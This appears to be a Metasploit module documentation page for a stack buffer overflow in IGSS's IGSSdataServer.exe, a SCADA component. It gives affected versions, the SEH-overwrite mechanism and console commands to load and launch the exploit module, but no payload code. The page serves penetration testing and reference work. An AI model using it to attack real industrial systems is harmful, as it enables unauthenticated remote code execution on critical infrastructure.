7-Technologies IGSS IGSSdataServer.exe Stack Buffer Overflow



This module exploits a vulnerability in the igssdataserver.exe component of 7-Technologies IGSS up to version 9.00.00 b11063. While processing a ListAll command, the application fails to do proper bounds checking before copying data into a small buffer on the stack. This causes a buffer overflow and allows to overwrite a structured exception handling record on the stack, allowing for unauthenticated remote code execution. Also, after the payload exits, IGSSdataServer.exe should automatically recover.

Module Options

To display the available options, load the module within the Metasploit console and run the commands 'show options' or 'show advanced':

msf > use exploit/windows/scada/igss9_igssdataserver_listall
msf exploit(igss9_igssdataserver_listall) > show targets
msf exploit(igss9_igssdataserver_listall) > set TARGET < target-id >
msf exploit(igss9_igssdataserver_listall) > show options
    ...show and set options...
msf exploit(igss9_igssdataserver_listall) > exploit

Time is precious, so I don’t want to do something manually that I can automate. Leveraging the Metasploit Framework when automating any task keeps us from having to re-create the wheel as we can use the existing libraries and focus our efforts where it matters.
